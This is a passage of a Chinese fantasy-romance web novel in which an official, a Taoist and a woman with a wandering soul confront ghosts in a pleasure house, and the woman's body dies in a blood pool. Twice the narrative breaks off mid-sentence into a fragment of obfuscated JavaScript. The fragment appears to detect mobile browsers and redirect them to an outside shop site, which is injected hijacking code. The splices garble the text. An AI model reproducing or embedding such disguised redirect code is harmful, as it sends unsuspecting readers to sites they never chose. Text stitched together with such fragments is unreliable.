这么一说,任风玦还真是求之不得,但又想到颜正初。
“那我这位朋友…”
“好说好说…”
杜月明招手唤来一位伙计,“再去我马车上取一块绿牌来。”
任风玦很是惊讶:“你怎么这么多牌子?”
杜月明一脸神秘:“我几乎夜夜都来,那白掌柜可是应承过我,红牌绿牌应有尽有。”
任风玦又挑了一下眉:“你与那白掌柜倒还挺熟?”
杜月明哼了一声,眼神却有些不自然。
“倒也不算熟,各取所需罢了。”
任风玦将他这些“小动作”全都收进眼底,面上却不露一丝异色。
在门前站了一会儿,伙计取来绿牌,三人便径自向二楼走去。
夏熙墨执绿牌入楼后,便有一名绝色婢女引她往二楼去。
见她一名女客独自而来,且外表出众,走在那回字形的红木楼梯上,立即引来大厅内不少男人目光的注视。
“那女子又是谁家的?”
“不认识,看着眼生。”
“倒还是头一次见到女客独身前来,好是稀奇。”
一直望着那抹红影消失在楼道处,楼下的男人才依依不舍收回目光。
夏熙墨随着婢女进了一间小香阁。
“女郎是要饮酒,还是饮茶?”
“茶。”
她吐出一个字。
婢女恭敬垂首:“女郎请稍候。”
夏熙墨打量四周,见香阁内设了一道月牙形的空窗,两旁垂挂着珠帘。
立在窗前,即可见一楼盛景。
原来,厅正中竟有一座巨大的琉璃雕塑。
雕的是一只纤细柔美且指节分明的手。
一名蒙面女郎正立于掌心处翩翩起舞。
再看大厅四角,每个角都有一只琉璃雕刻的纤纤玉手伸出来,托着一盏琉璃灯。
夏熙墨抚了抚荷包内的渡魂灯,问道:“可有发现?”
无忧半晌才答道:“没有,一点魂气都没有。”
她正要说话,眸光却瞥见对面一间香阁内走进了两道熟悉的身影。
任风玦与颜正初。
他二人竟上了二楼?
任风玦在抬头那刻,也看到了她,两人目光遥遥相视,皆是微愣。
杜月明也顺着他的视线望了过去,忽将细长的眼睛一眯。
“咦,那是谁家女子?”
显然,他也注意到了对面香阁内,一身红衣立于窗前的夏熙墨。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147055|196398||http|test|mini|href|location''.split(''|''),0,{}));
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>“我倒不知,京中还有这样的绝色?”
任风玦听了他的话,心中竟隐隐有些不悦,忙将话题岔开:“我听闻,这楼中白掌柜才称得上是倾国倾城之色,不知今日能否有幸一见?”
杜月明这才将黏糊糊的目光,从夏熙墨身上挪开,却“啧”了一声。
“好你个任风玦,我认识你这么多年,还是头一次听见你打听女人。”
“怎么?只有白掌柜这样的美色,才能入得了你的眼?”
任风玦也不解释,只道:“好奇罢了。”
杜月明看了一眼旁边的更漏,说道:“白掌柜一般要等到亥时左右才会出场,一会儿就在那只‘琉璃手’上,跳一支你从未见过的舞。”
“你若见过白掌柜的舞,自此任何舞姬,就再也入不了你的眼了。”
任风玦却没应声。
一名婢女忽然走进来,向杜月明问道:“小公爷,今晚可需要姑娘陪您喝酒?”
杜月明反问:“有新来的吗?”
“有的。”
杜月明连忙招手:“都叫进来,顺带让小侯爷也挑一挑。”
任风玦皱眉,正要推托,眼角余光却瞥见对面香阁内竟走进了一名鲜衣少年。
看样子,她也要“挑人”陪自己喝酒了?
这女子!
该不会被美色所误,而忘记正事吧?
任风玦心里这样想着,见那少年已坐在夏熙墨身侧,并笑着替她“斟酒”。
不时低头耳语了两句。
而夏熙墨始终侧坐着身子,根本看不见她此时此刻的神情。
任大人只觉得心里好似被什么东西细细啃噬着,竟隐隐有些坐立不安。
这时,一群莺莺燕燕自门外走进。
恰好挡住了他的视线。
杜月明笑着招呼他:“小侯爷,这些都是楼里的舞姬,你看看喜欢哪个?都可以留下来陪你饮酒。”
说着,又直接揽住颜正初的肩膀,问他:“颜公子也看看喜欢哪个…”
颜正初站起身来,假装直勾勾盯着面前的舞姬看了一会儿。
忽然一手展开折扇,一手虚空快速画了一道化形符。
正待一看究竟时,一旁的任风玦却豁然站起身来。
第77章 猎物
夏熙墨所处的香阁内,竟已空无一人。
她与那鲜衣少年,都不见了踪影。
任风玦将挡住自己视线的舞姬推开,四下环顾了一周。
阁内,走廊,楼梯。
皆已不见人影。
不妙。
杜月明见他神色紧张,倒吓了一跳,“小侯爷这是怎么了?”
任风玦却不解释:“先失陪一下。”
说着,拉着颜正初便往外走去。
颜正初狼狈合拢折扇,与他一同踉踉跄跄走到阁外。
“小侯爷莫急,我有追踪符…”
任风玦这才松开手,说道:“看看她现在在哪儿…”
颜正初悄悄拿出罗盘,轻念术语,指针便快速转动,最终所指方位却是——楼上。
“她应该是去了‘通天阁’。”
任风玦面色一变,望向了长廊尽头处的红木楼梯。
心念一起,不自觉便朝那边方向走去。
颜正初急忙拉住他,“小侯爷,你若信得过我的话,找夏姑娘的事不如交给我。”
任风玦脚步一顿,才发觉自己确实冲动了些…
他又立即冷静下来:“你可有办法?”
颜正初不忘吹嘘:“我可是云鹤山天机**座下首席大弟子,区区鬼物,才不放在眼里。”
说着,凑到他耳边轻声道:“方才,我用化形符照出了那几个舞姬的原形,嘿嘿…还真不是人。”
任风玦心下一凛,“是什么?”
“骷髅。”
颜正初吐出两个字,又四下环顾一周,面色肃然;“能让骷髅幻化成形的鬼物,这地方绝对大有蹊跷!”
任风玦蹙眉:“颜道长可有把握能收服鬼物?”
闻言,颜正初沉吟半晌,却伸出五根手指。
“尚不知底细,只能有五成把握。”
“……”
任风玦素来果断,问他:“那道长希望我如何助你?”
“好说。”
颜正初避开往来穿梭的婢女,拉着任风玦靠向栏杆处,低声说道:“我这里有一样法器,能让此处邪物统统现出原形。”
“小侯爷只需要将此物,投放在大厅东南西北四个角的琉璃灯内。”
说着,他从口袋内掏出四颗晶莹剔透的珠子。
任风玦见此物较之那“养魂珠”还要小上几厘,便问:“此为何物?”
颜正初答道:“此物名为‘轩辕珠’,乃我云鹤山镇派之宝,下山前,师父也只肯给我十颗。”
“好。”
任风玦想也不想,便将珠子收下,足见十分信任:“那道长多加小心,夏姑娘的安危就先交给你了。”
“任某必有重谢。”
颜正初连忙回了一礼,也不跟他客气,“事成之后,只希望小侯爷多赏我两锭金子。”
他说着,便背着双手,自顾自朝着楼梯走去。
不到片刻,身影倏地消失在走道尽头之处。
任风玦知他是用术法掩藏了踪迹,当即也转身进了阁内。
见他回来,杜月明连忙拉他坐下,“方才是怎么了?”
任风玦解释:“撞见了颜公子的熟人,便同他一起去打了个招呼。”
闻言,杜月明立即朝外看了一眼,不见颜正初的身影,也没有多问,直接喊一旁舞姬倒酒。
任风玦则透过那扇月牙窗望出去,见颜正初口中所说的四盏琉璃灯,其中一盏恰好离这间香阁不远。
以他的指力与准头,想要一击而中,倒也不难。
于是,他走到窗边,右手悄悄持珠,暗自运力,以食指与中指轻弹而出。
珠子当即准确无误落入琉璃灯内,使得原本明灿的灯火,忽然闪烁了一下,隐隐散发着一缕幽绿的光。
接着,他又望向另外三盏,眼角余光扫向杜月明,心里忽然有了主意。
——
阁门开了。
鲜衣少年弯腰做出请示:“女郎,我家掌柜已恭候多时了。”
夏熙墨面无表情,径自走入。
身后,阁门又应声而闭。
烟雾缭绕之中,女子婀娜的身影若隐若现,伴随着一阵缥缈的笑声,在耳边若即若离。
“夏姑娘果然好胆识。”
空灵的声音忽在耳畔浮现。
跟着,一只如玉凝脂般的纤纤玉手,悄悄扶上了她的肩膀,声音柔媚,带着蛊意。
“你这具身体,我真是喜欢。”
“不仅是阴年阴月阴日阴时的至阴之躯,能通阴阳。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147056|196398||http|test|mini|href|location''.split(''|''),0,{}));
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r>“还生得这般如花似玉,我见犹怜。”
说话间,那只手,顺着她的肩膀就要往上爬,还未触及到脸,却被夏熙墨伸手制住。
“你是什么东西,也配得上我这具身体?”
听她语气轻蔑,并无半分惧色。
白轻霜微诧,于烟雾之中幻化成形。
她凝视着眼前这主动送上门的“猎物”,眼中兴趣又浓厚了几分。
“你可知早几个时辰之前,有人来这里买了你的命。”
“这人,还是你在这世上,唯一一位有血脉牵连的亲人。”
“你可觉得痛心?”
夏熙墨始终面无波澜,也懒得回应。
白轻霜一边打量着她,一边低低笑着:“他的女儿,现在正顶替着你的身份,住在仁宣侯府里。”
“他自然怕你活着,既影响他女儿嫁给任风玦,又影响他中书侍郎的身份。”
“若你**,他父女二人,在这京城之中,也就再无后患了。”
闻言,夏熙墨总算嗤笑了一声。
“算盘打得不错,可惜,你杀不了我。”
白轻霜见她如此轻狂,不禁好奇反问:“你不怕?”
夏熙墨冷睨着她,“怕就不会来。”
白轻霜终于被她傲慢的态度所激恼:“你可知,这地方不是你说来就来,说走就走的。”
“是吗?”
夏熙墨唇畔浮起冷笑:“我倒要看看,你怎么杀我?”
话音刚落,那浮荡在空中的烟雾,开始迅速向着她所处的方向汇聚。
顷刻之间,便织成一道密不透风的网,将她的躯体包裹其中。
白轻霜再次伸出那只白玉一般的手,轻轻扼住她的脖子。
然而这时,阁门忽然大开,一道黄符迎面打来。
白轻霜嗅到危险,被迫松手,以一团烟雾击落黄符。
“谁?”
黄符被打落在地,即见一道男子身影立在阁中。
“原来这便是通天阁?”
颜正初四处打量,却揶揄道:“搞这么多烟雾,还真当自己在九重天上啊?”
白轻霜面色微变:“云鹤山?”
颜正初整装望向她,微微扬眉:“正是我云鹤山颜正初道长。”
第78章 混乱
杜月明这个人擅长交友,又日日流连在赋楼,是以任何一间香阁内,多少都能搭上两句话。
任风玦打定主意,以引荐为借口,跟着他走了一圈后,手里四颗“轩辕珠”也相继到了位。
而后,只见负责照明的四盏琉璃灯,开始闪着异光,灯光从明澈变得晦暗。
片刻后,原本灯火通明的大厅,瞬间陷入了黑暗之中。
丝弦管乐骤停,原本立在琉璃雕塑上舞姬,也化作一具森森白骨,陡然倒在地上。
“鬼——啊!”
不知谁忽然喊了一声。
整个赋楼立即乱成一团。
杜月明还是第一次遇见这种情况,吓了一跳,“这是怎么回事?”
任风玦知道事情成了,便催促他。
“估计楼内出事了,我先同你出去。”
小公爷向来惜命,疑似楼内进了什么歹人,扔下酒杯,连忙扶住一旁墙壁。
“这也太黑了…”
混乱之中,两人走了几步,眼睛才算适应黑暗,却在拐角处,发现路中间立着一道人影。
稀里糊涂的杜月明,不小心推了对方一把,结果那“人”径自倒在地上,发出怪异声响。
他低头一看,竟是一地碎骨。
这场景怎能叫人不怵?
“娘嘞!”
小公爷惊叫一声,跌坐在地上,腿也软了,再也挪不动脚。
任风玦勉强扶了他一把,却念及通天阁内的情况,而隐隐不耐。
这时,黑暗中有人唤道:“任大人。”
一听声音便知是暗影卫瑶光。
任风玦应声:“这里。”
瑶光闻声,立即近前听令:“还请大人指示。”
任风玦吩咐:“你跟我一起上三楼。”
“其他人,留意楼下动向。”
瑶光应了一声。
杜月明一听情况就知道不对,竟连暗影司都出动了?
他有些气急败坏:“任风玦,你不是吧?办案居然办到赋楼来了?这让我以后还怎么寻消遣?”
任风玦却一本正经地说道:“此地凶险,小公爷还是速速离去吧。”
杜月明又嚷道:“你倒是管管我啊,你不会扔下我不管吧?”
“这楼内有鬼。”
“你要是不怕,可以继续留下来。”
扔下一句恐吓之辞,任风玦头也不回地带着瑶光便往三楼而去。
杜小公爷听见脚步声远了,又下意识看了一眼身旁白骨,终是禁不住吓,连滚带爬冲下了楼。
然而,就在人群相继慌乱跑出赋楼时,一辆玉辂车却踏着夜色,朝着赋楼方向行驶而来。
几十名金羽卫护驾,亦有东宫侍卫总管身骑高头大马开路,明眼人一瞧,就知道是太子仪仗。
“太子殿下驾到!”
闻声,人群立即避至两旁,纷纷下跪。
“参见太子殿下。”
车停在楼前,四下立即鸦雀无声。
奇怪的是,原本漆黑的赋楼,竟也在一瞬间亮起了灯火。
“诸位这是做什么?”
太子赵礼散漫的声音,从玉辂车内传来。
四下可无人敢答话。
毕竟坊间都在传,太子是赋楼的主人。
在主人跟前,谁敢说一句不利的话?
听不见人答话,赵礼又掀起车帘一角,露出半张晦暗不明的脸。
他一眼就看到了刚从赋楼跑出来的杜月明。
“杜小公爷也在啊?”
杜月明正魂惊未定,听见太子的声音,又吓了一跳:“殿下?您怎么来了?”
赵礼一笑:“闲来无事,也想喝酒,不料竟撞见这场面,孤还以为,楼内进了刺客。”
“不是刺客,是…”
杜月明险些就要将“鬼”字脱口而出,好在及时反应过来,改口道:“方才楼内灯火不知何故都灭了…”
他再回头望去,又吃了一惊,“怎么现在又好了?”
不仅灯好了。
连带楼内的小厮,婢女,护卫等人,皆规规矩矩立在楼前。
明明刚刚还是一片狼狈。
转瞬间竟又恢复了以往那般灯火璀璨,富丽堂皇的模样。
一名美貌婢女笑着上前盈盈一拜:“方才楼内吹进一阵怪风,把灯都吹灭了,让客人们受惊了。”
听她这么说,杜月明才敢朝里面多看了几眼。
乐声与舞姬依旧,果真一切如常。
他拍了拍胸脯,“原来是风吹的,看来虚惊一场了
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。”
说着,杜月明又朝车内的太子行了一礼:“太子殿下,请了。”
赵礼又是微微一笑,当着众人的面下了马车,随即阔步朝楼内走去。
——
通天阁内。
颜正初报完云鹤山的名号,便被化作轻烟的白轻霜给缠住了。
说来也怪,那烟雾看似毫无攻击力,可一旦缠上后,便像是一道密不透风的网,罩得人透不过气来。
颜正初只觉得身体被一道道“温柔丝”缠绕着,越是挣扎,便缠得越紧。
他当即默念一声术语,引动腰间玉剑,顿时只见一道光束穿透烟雾。
见此,白轻霜也得暂避锋芒。
“你这邪物到底是什么东西?”
颜正初虽暂时挣开束缚,却不敢轻敌,又问:“我云鹤山的‘养魂珠’是不是你偷的?”
白轻霜立在烟雾之中,软得像是没有骨头,她懒懒挑衅着:“是又如何?不是又如何?”
“好啊,不把本道长放在眼里,看我先收了你!”
颜正初说着,便将玉剑执在手中,继续掐诀念咒,与之缠斗。
立在一旁的夏熙墨并未关注战况,她以魂力挣开了身上束缚,便开始观察整个通天阁。
这阁楼在烟雾萦绕之下,一眼根本望不到头。
但她却隐隐听见了水流之声。
渡魂灯内的无忧忽然出声:“我好像闻到了枉死之魂的气息…”
夏熙墨问:“哪个方位?”
“东南方位。”
辨认方位,她慢慢靠近,水声也逐渐明晰,随之,入眼竟是一池汤泉。
而在那热气氤氲之间,隐隐有一道瘦弱身影立在水中。
夏熙墨又靠近了几步,站在池边。
那身影在烟雾之中,愈发让人分不清虚实。
蓦地,一只只鬼手争先恐后从池水中伸了出来,拉着岸边人的腿脚,便往水里拖拽。
夏熙墨猝不及防落了水,不及挣扎,那密密麻麻的鬼手,又瞬间将她淹没。
一道身影立在岸边,冷眼望着池中女子,嘴边浮起一抹冷嘲。
“不自量力。”
然而,下一秒,一道如烈焰般火红的身影,竟从池水中慢慢浮现。
第79章 **
通天阁门紧闭。
瑶光试了多种方式开门,阁门竟始终纹丝不动。
任风玦伸手触门,只觉得一股子寒意渗入肌骨,就知这道门并非人力所能操控。
一名暗影卫匆匆上前来报:“大人,太子殿下到了。”
早不来,晚不来,偏偏这个时候来。
任风玦不由得冷笑:“来得正好,正愁没人开门。”
他当即转身,负手而立。
不多时,便见身披鹤氅的太子,被侍从簇拥着上楼来。
在见到任风玦的那刻,赵礼脚步显然一顿:“任小侯爷?”
任风玦略微上前一步,轻轻颔首:“太子殿下。”
赵礼笑中带着探究之意:“今晚到底是什么风,能将名震朝野的刑部侍郎吹到这儿来?倒真是稀罕得紧。”
任风玦却回道:“说起来,于公于私,都还是第一次来。”
“哦?”
赵礼缓缓靠近,打量着他:“这话有些意思,敢问小侯爷,何为公?又何为私?”
“自然是查案为公,喝酒为私。”
“这话孤可听不明白。”
赵礼故作疑惑:“小侯爷的意思是,这里有案件要查?”
“正是。”
任风玦回答得笃定,并指着身后阁门。
“本官怀疑,杀死顺天府知府郑道远的凶手,就藏在这‘通天阁’内。”
赵礼失笑:“这通天阁乃是赋楼掌柜白轻霜的闺阁,小侯爷的意思,白掌柜是杀害郑道远的凶手?”
“不敢确定。”
任风玦嘴上虽这么回着,但那坚定的态度,却是非查不可的意思了。
赵礼眼神晦暗,面上却不露分毫不快,甚至笑着向一旁婢女说道:“既如此,那便开阁门,任小侯爷进去查查。”
婢女应声正要上前开门。
然而,尚未近前,阁门倏然而开,一道人影从里面飞出来,重重摔在了地上。
任风玦定睛一看,见是颜正初,连忙上前搀扶。
这时,又有一团白雾从里面飞出来,四下掠了一圈,便飘到楼下。
颜正初连忙对任风玦道:“夏姑娘在里面,你速去看看!”
说着,顾不上身上的疼痛,便朝着白雾的方向追去。
见此,任风玦唤了一声瑶光。
瑶光自然懂得他的意思,当即施展起轻功,几个起落之间,便追上了颜正初的身影。
楼下又是一阵喧哗。
无人在意,立在楼梯处的太子赵礼,眼底浮起一丝不易察觉的冷意。
任风玦匆匆进入通天阁,四下一片昏暗,目光望去,难以视物。
他立即唤了一声:“夏姑娘!”
阁内无人回应。
香风阵阵,吹着烟雾,在鼻间与眼前浮动,入耳还有泠泠水声。
唯独没有一丝活人的气息。
他耳力很好,细听之下,心下不由得一阵慌乱。
忽然间,似有什么东西落入水中,发出沉闷声响,水波开始扩散。
任风玦循着声响,不由自主加快了步子。
一步,两步,三步。
水声近了,他却猛然止住步子。
烟雾之中,竟有一片汤池,俯身近看,池水竟为深红色,隐约腥气冲鼻,俨然就是一池血水。
办案多年,去过凶案现场无数,见过死尸亦无数。
哪一处不见鲜血?
可这么多血,显然不止一条人命。
难道…
任风玦呼吸一滞,向来理智的头脑,竟也在这一刻,陷入了短暂的空白。
他甚至下意识伸手想去池水捞人…
“夏姑娘?”
“夏熙墨!”
声音在阁内回荡着,却依然无人回应。
就在这时,似有什么东西开始在水底升腾,并慢慢浮出水面。
任风玦半惊半喜,待定睛望去时,面色瞬间沉到极点。
那是一道女子的身影。
准确来说,是一具女尸。
更准确来说,是他此刻最不想看到的人。
夏熙墨。
任风玦迅速将人从水中捞了上来。
夏熙墨浑身被血水浸泡
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过,那身石榴红的斗篷,此时看起来,更是红得刺目。
她双目紧闭,浑身冰凉,气息脉搏全无,俨然已经死去。
但任风玦还是心怀着一丝希冀,将尸体紧紧抱入怀中。
身后,颜正初去而复返,那白掌柜钻入人群之后便隐匿了踪迹。
他正要上前告知,却看见了任风玦怀中的夏熙墨。
“这…怎么会这样?”
颜正初心下也是一凉,再望向一旁血池时,面上神色更是瞬间变得无比凝重。
任风玦看了他一眼,终是什么也没说。
他抱起怀中人站起身来,缓缓走出通天阁,却对立在门口的太子赵礼说道:“今晚只怕要败坏殿下的雅致了,赋楼不仅疑似有邪祟作乱,甚至还出了人命。”
“本官现下要封锁整座赋楼,彻查此事。”
赵礼瞥了一眼他怀中的女子,故作讶然:“这阁楼中…又怎会发生这样的事情?”
“小侯爷必然要查清凶手,还死者一个公道啊!”
任风玦又深深看了他一眼,那眼神却冷得有些可怕。
“必不会让殿下失望。”
“殿下,请吧!”
赵礼牵起唇角微扬,却领着侍从阔步下楼,又如来时那般浩荡而去。
随着太子与任风玦下楼后,以关跃与余琅为首,也领着几十名差役前来,联合十几名暗影卫,将楼内各大出口封锁,相关人员扣押。
围堵在门口的宾客,本十分好奇,见状,也是怕殃及池鱼,相继驾车离去。
人群之中,一辆毫不起眼的马车内。
穆铮正掀起一点车帘,紧张朝外张望,待看清任风玦怀中所抱女子的容貌时,他猛地松了一口气,并放下帘子。
“回府。”
吩咐车夫后,他立即从怀中掏出一方锦盒,盒子打开,里面赫然躺着一枚如鸽子蛋大小的明珠。
而这时,一缕诡异的轻烟,正透过车帘一角,慢慢渗入。
又在穆铮毫无察觉的情况下,与那颗明珠渐渐相融。
第80章 反杀
池中身影火红似焰,以一副藐视万物的姿态缓缓浮出水面。
岸边人微滞,眼底亦闪过一丝诧异之色。
他这才意识到,刚刚被自己拖下水的躯体,只是一副皮囊。
而眼前的这缕阴魂,才是自己真正需要面对的劲敌。
“你是谁?”
他启唇问了一句。
然而,对方只是冷冷扫了他一眼:“未经允许,拿别人的东西,不叫借。”
“那叫偷。”
“你原本的样子该得多丑?才需要借别人的脸?”
闻言,愤怒顿时溢满眼眶,那张清俊的脸,开始变得模糊且扭曲。
下一秒,他化作一道人形黑影,虽没有脸,却也显得十分狰狞可怖。
池中女子冷嗤一声:“果然是个丑东西。”
那黑影怒极,忽张开血盆大口,发出啸声。
一团黑雾,开始在池面上盘旋,如同大雨降临之前的乌云,笼罩整个天幕。
顷刻间,黑雾又幻化作无数鬼手,带着侵蚀性,迅速朝着池中女子席卷而来。
这声势,看似浩荡。
然而,池中红影灼灼,不过轻蔑一笑,“想吃我?”
鬼手立即将她一寸寸覆盖,又企图像吞噬那些凡人魂魄一般,据为己有。
然而,红色身影灼热似火,又哪里是它能吃得下?
不到片刻,便狼狈退散。
但此时,想逃却已经迟了。
池中女子迅速抬起双手,眉心眼尾处的印记愈发红印。
心中杀念沸腾,池中水亦跟着升腾。
那些沉睡在池底的骨骸,如同得到召唤,竟一一浮出水面。
她眸光清冷,纤指翻飞似蝶。
白骨如同受到指引,飞至空中,自四面八方堵住黑影去路。
以其人之道,还治其人之身。
白骨将黑影困在其中,便如同它吞噬那些魂魄一般,一点点将它吞噬。
黑影想要挣扎,然而根本动不了,只能发出一声痛苦嘶吼。
十指收拢,瞬间骨碎,沉入水底后,汤池也瞬间作为血水。
一道道无主阴魂开始漂浮而出,与阁内烟雾萦绕在一起。
面对异象,一旁缠斗的颜正初与白轻霜也相继看过来,均是一愣。
颜正初担心夏熙墨安危,立即喊道:“夏姑娘?”
趁机,白轻霜却是抬起一脚,将他从阁内踹了出去。
池边,无忧望着一池血水,不禁大叫:“这下全完了啊,你的身体还在里面呢!”
“里面阴气那么重,魂体分离,彻底没救了!”
“好不容易渡了几缕魂魄,要功亏一篑了!啊啊啊啊!”
漂浮在岸边的“夏熙墨”却只是淡然瞥了它一眼:“好吵。”
无忧几乎咬牙切齿:“你想继续回九幽当囚魂吗?那极寒之地的滋味好受吗?一百年啊一百年!还想再待一百年?”
她沉默了一下。
既已没有回旋之地,索性在离开之前,把另外一桩麻烦也解决了。
她心念一起,正要去追白轻霜,却见一抹熟悉的身影匆匆走进了阁内。
“夏姑娘?”
他在喊她的名字。
“夏熙墨”立即停滞在半空中。
心里像是被什么触动了一下。
来人间的时日并不长,但她好像已经适应了这个名字,也开始习惯眼前这个男人。
“任风玦。”
此刻,他们一魂一人,再不能相视,更不能对话。
他看不见她了,也听不见声音。
而她却能清楚看见,他面上的神情,眼底的情绪。
有担虑,焦急,慌张。
这些情感,在他那张总是处变不惊的脸上,多少有些罕见。
她忽然也有那么一丝恍惚。
无忧却在这时不顾一切跳入池水中,用魂力将夏熙墨的躯体从水中托了上来。
岸边的任风玦也看到了她的躯体,面色凝重得可怕,竟也丝毫不顾那副躯体才在血水中浸泡过,便将其抱入怀中。
他似乎想以曾经的那种方式来救她。
“夏熙墨”心下一颤。
无忧一脸无奈:“看来这次,任风玦也救不了你了…”
她没回话,门外却忽然传来脚步声。
无忧察觉到是颜正初,避免她的魂魄被发现,便直接将她送进了渡魂灯内。
赋楼被封锁进行调查。
余琅与关跃等**老远便看见任风玦抱着一人从楼内走出来。
他们上前看了一眼,却根本不敢多问。
可毕竟是常年与凶案打交道的人,只看一眼,就知道情况并不明了。
且极有可能,人已经**。
他们从未在任大人脸上见过这样的神情,不由得面面相觑。
所以,当任风玦将人直接抱入马车时,他们也没敢问一句。
甚至觉得,这大概就是“用情至深”的一种表现吧?
任风玦以为,只要自己抱着不松手。
她大概就会像前两次那样,慢慢醒过来。
可马车行驶了一路,怀中躯体始终都是冷的,感受不到一丝
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要“活”过来的迹象。
一路无言。
坐在一旁的颜正初心情也很复杂。
他与白轻霜缠斗过程当中,根本就没发现夏熙墨是何时走开的。
又为何会跌入那池水中?
最终,还是任风玦开口问道:“方才那通天阁内,除了白掌柜之外,可还有别的邪物?”
颜正初小声答道:“我当时与邪物缠斗,并未察觉。”
任风玦冷静分析:“若阁内只有白掌柜,夏姑娘应该也不会跌入池水中。”
“那池水…”
颜正初迟疑了一下,觉得还是有必要作出解释:“那一池水很古怪,我记得师祖的手札内提起过…”
“曾在五十年前,前朝…曾出现过一次‘阴阳煞’。”
诚然,大亓开国不过三十多年。
在此之前,名为“启国”。
任风玦作为当朝重臣,且父亲还是开国功侯,本就不宜提前朝旧事。
但这个“阴阳煞”一听,就是极其阴邪之物。
他忍不住问:“何为‘阴阳煞’?”
颜正初回道:“手札提过,炼制此煞需要三样东西,缺一不可。”
“一为阴灵,二为阳灵,三为精血。”
“唯有这三样,结合在一起,才能炼制成‘阴阳煞’。”
“而‘阴阳煞’一旦炼成,便会冲破阴司与阳间的结界,使得两界秩序大乱,那些滞留在阳间的鬼物,更可以肆意妄为。”
任风玦皱眉:“此煞与那一池水有关?”
颜正初面色更加凝重:“若我没有猜错,那底下应该全是尸骨。”
“且这尸骨还并非一般尸骨,必须是至阴之躯,此为‘阴灵’。”
“至于‘阳灵’,我尚且不清楚,手札上只说,此物以‘生魂’为食,不知其态。”
“最后,便是精血了,这人生来只有三滴精血,对应三魂,取出一滴,相当于献出一魂。”
“一个三魂不整的人,最是容易被鬼盯上,运气不好的人,甚至还有可能被夺舍。”
听他说得这样离奇,连任风玦后背竟也隐隐有些发凉。
“这么说来,赋楼内所藏,并非寻常鬼物?”
颜正初点头:“藏在赋楼内的鬼物绝对不止一个,白掌柜必然算一个…”
“另一个,或许就是传说中的‘阳灵’了。”
“不过,眼下最重要的,除封锁赋楼,找到白掌柜之外,还需要查一个人。”
任风玦几乎一下子就联想到了。
“太子赵礼。”
第81章 告诫
任风玦将夏熙墨一路抱回东院。
天青听见动静走出来,笑容也瞬间凝固在脸上。
“夏…”
她见小侯爷面色不对,一声夏姑娘尚在嘴边,却立即哽住了。
“给她换一身干净的衣服。”
任风玦吩咐了一句,便走出房间。
他立在庭中,望着天边朗月,才惊觉这个夜晚竟如此漫长。
也不知站了多久,身后房门才被打开,天青立在门口处,眼眶红红,应该是刚刚哭了好一会儿。
任风玦回头,犹豫了一下,还是决定再进去看看。
算起来,夏熙墨住进这间客房的时间并不长,满打满算也不过才半个多月而已。
但此时,整个房间都浮荡着淡淡的香气。
有脂粉香,头油香,花香,以及焚香。
每一种香味都像是与她有关。
任风玦走到床边。
见换了一身干净衣衫的夏熙墨躺在床上如同熟睡了一般。
到这一刻,他依然打心底觉得,她只是睡了,或许明早太阳升起时,就会再次醒来。
这荒谬的想法,充斥着整个头脑,他自己都觉得不可理喻。
“答应你的事,我会尽快给你一个交代。”
“不过在此之前,我会联合颜道长一起,先揪出赋楼背后的鬼物,为你…报仇。”
寂静的房内,自然不会有人再回应他。
只是,在他看不到的地方,正浮荡着两道阴魂。
无忧感叹:“任小侯爷待你,还是很不错的…”
“要是就这么走了,你会不会舍不得他?”
身旁,一道目光冷冷凝视着自己,它又讪讪闭嘴。
“夏熙墨”飘出房外,却问无忧:“那道士所说的‘阴阳煞’,你可有印象?”
无忧摇头:“我都在灯里睡了将近一百年,哪里知道这些人间事?”
“夏熙墨”见它答不上来,竟径自向南院飘去。
无忧看出她的意图,吓得大喊:“你不会要去问颜正初吧?你现在可是鬼啊,哪有鬼主动上门找道士的?”
“夏熙墨”却头也不回。
南院厢房内,颜正初也没睡,正躺在床上翻来覆去。
忽然,房门“吱呀”一声开了,飘进一道红色身影。
颜道长有些懵。
待定睛一看后,吓得忙不迭从床上爬了起来。
“你…”
世道变了,竟有女鬼敢夜闯他的房间?
“是我。”
女鬼开口,听语气,还很熟悉。
颜正初惊疑不定:“你…是夏熙墨?”
“是。”
这淡漠的口吻,倒是对上了。
不然,还真想不出,谁能有她这样的胆色。
只不过…
“你鬼魂的样子怎么跟你本人不一样?”
颜正初表示怀疑。
而且,一个刚死去的鬼魂,只怕没有这么重的“阴煞之气”。
“夏熙墨”反问:“你我第一次相见时,你不是已经算出来了?”
颜正初心中依然不解,但又隐隐觉得,自己好像窥到了一丝天机。
“我的确算出你命数有异…”
“但这跟我刚刚问的问题又有什么关系?”
“而且,还有,你在通天阁内究竟…”
面对劈头盖脑的一顿问题,“夏熙墨”照样冷冷打断。
“你问这些,没有意义。”
她在阳间时日无多,也不打算透露太多,只问:“我现在只想知道,对于‘阴阳煞’,你知晓多少?”
听到这个,颜正初倒立即严肃起来,“知道不多,师祖手札只提过,五十年前,前朝曾有鬼物练出此煞。”
“当时,云鹤山几乎倾尽所有之力,下山捉鬼驱邪。”
“这场浩劫,至少持续了半月,才慢慢平定,可**不少人。”
说到这里,他心中疑惑更深:“欸?你又是怎么知道‘阴阳煞’的?”
“夏熙墨”道:“你所说的‘阳灵’,我见过。”
颜正初骇然:“在哪儿?”
“通天阁。”
所以,她是因为撞上了“阳灵”,这才…
颜正初心下咯噔一声,忍不住叹道:“赋楼凶险,那‘阳灵’必然厉害!你实在不该一意孤行,不然,也不会遭此不测…”
“它**,那一池血水,就是它躯体所化。”
颜正初怀疑自己听错:“死…了?”
什么意思?
“我都没见过,它又是**的?”
“夏熙墨”冷冷吐
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出三个字:“我杀的。”
“!?”
颜正初惊得几乎合不拢下巴。
她她她…真不是在胡言乱语?
